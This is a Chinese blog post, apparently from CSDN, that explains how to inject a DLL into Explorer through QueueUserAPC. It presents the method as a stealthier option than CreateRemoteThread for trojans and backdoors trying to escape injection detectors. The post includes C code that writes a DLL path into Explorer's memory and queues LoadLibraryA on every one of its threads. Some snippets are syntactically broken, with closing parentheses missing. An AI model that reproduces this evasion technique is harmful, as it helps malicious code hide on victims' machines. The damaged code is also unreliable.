向一个运行中的进程注入自己的代码

向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。

用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加载自己的dll。

首先提到的就是一个API:QueueUserAPC

 

       
       DWORD QueueUserAPC( 
  PAPCFUNC pfnAPC, // APC function 
  HANDLE hThread,   // handle to thread 
  ULONG_PTR dwData // APC function parameter 
;

 

大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。

实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。

比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:

 

 

       
       ...... 
DWORD ret; 
char *DllName = "c:/MyDll.dll"; 
int len = strlen(DllName) + 1; 
PVOID param = VirtualAllocEx(hProcess, NULL, len, 
              MEM_COMMIT | MEM_TOP_DOWN, 
              PAGE_READWRITE); 
if (param != NULL) 
{ 
  if (WriteProcessMemory(hProcess, param, 
            (LPVOID)DllName, len, &ret)) 
  { 
    for (DWORD p = 0; p < NumberOfThreads; p ++) 
    { 
      hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]); 
      if (hThread != 0) 
      { 
        InjectDll(hProcess, hThread, (DWORD)param); 
        CloseHandle(hThread); 
      } 
    } 
} 
...... 

其中InjectDll: 
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) 
{ 
  QueueUserAPC( 
    (PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA", 
    hThread, 
    (DWORD)param 
    ; 
}
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值